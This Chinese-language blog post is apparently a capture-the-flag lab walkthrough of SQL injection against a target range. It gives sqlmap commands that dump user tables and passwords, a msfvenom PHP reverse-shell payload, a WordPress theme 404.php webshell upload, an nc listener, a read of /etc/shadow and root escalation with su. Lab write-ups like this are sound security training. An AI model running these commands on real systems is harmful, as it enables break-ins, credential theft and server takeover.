sql注入(IP命令行)
SQL注入
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
1.信息探测
1 | nmap -p- -T4 IP # 探测端口 |
2.深入挖掘
打开敏感页面 比如什么登录页面 /admin/login.php
尝试弱口令登录,失败
3.漏洞扫描
web漏洞扫描器 owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
输入ip进行attack,然后软件开始爬虫并扫描
4.漏洞利用
4.1 发现高危漏洞sql注入
对扫描结果进行分析,发现高危漏洞SQL注入
利用sqlmap利用SQL注入漏洞
1 | sqlmap -u url # 查看是否具有sql注入 |
查找到对应的用户名和密码,登录系统
上传shell反弹权限
生成反弹shell
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP lport=未使用的端口 -f raw |
将生成的shell保存到php文件中
监听
1 | msfconsole |
然后上传webshell,实现反弹,获取flag
4.2 未发现高危漏洞
但是通过前面的信息探测发现了登陆界面 如 /phpmyadmin /login.php 等
然后尝试弱口令登录,无法登录,想到利用post sql注入
4.2.1 抓取数据包
利用bp抓取网页数据包,注意设置浏览器代理,然后将抓取的数据包保存到request.raw文件里
1 | sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch |
4.2.2 进行sql注入
1 | sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbms mysql --batch |
1 | sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users --columns --dbms mysql --batch |
1 | sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dbms mysql --batch |
得到用户名和密码
因为前面信息扫描出/wordpress 目录,所以可以确定网站利用wordpress的CMS,然后wordpress的默认登录后台页面为
/wordpress/wp-login.php
输入用户名和密码,登陆后台。
4.2.3 反弹shell
然后也是上传webshell获得控制权
利用自带的反弹shell
1 | cp php-reverse-shell.php /root/Desktop/ |
然后将复制的shell进行修改,修改端口和ip为==攻击机ip==
启动监听
1 | nc -nlvp port #对应的端口4444 |
访问上传webshell的地址(上传到404页面)
==http://靶场IP:port/目录/wp-content/themes/主题名/404.php==
成功反弹
然后优化终端
1 | python -c "import pty;pty.spawn('/bin/bash')" |
4.2.4 提权
查看敏感文件
1 | cat /etc/shadow |
利用su提权
1 | su -root |
发现空密码无法提权,然后尝试前面获取的密码(和后台密码相同)
提权成功
然后到/root目录获取flag
5. X-Forward-For sql注入
5.1 漏洞扫描
==漏洞扫描器 AVWS==
扫描出X-Forwarded-For sql注入
5.2 漏洞利用
利用sqlmap
1 | sqlmap -u "http://靶场IP" --header="X-Forwarded-For:*" --dbs --batch |
1 | sqlmap -u "http://靶场IP" --header="X-Forwarded-For:*" -D "photoblog" --tables --batch |
1 | sqlmap -u "http://靶场IP" --header="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch |
1 | sqlmap -u "http://靶场IP" --header="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch |
成功获取用户名和密码,登录到后台
- Title: sql注入(IP命令行)
- Author: Dunm1e
- Created at : 2024-09-11 18:55:25
- Updated at : 2024-09-12 08:18:19
- Link: https://dunm1e.github.io/2024/09/11/3bc19a255208/
- License: This work is licensed under CC BY-NC-SA 4.0.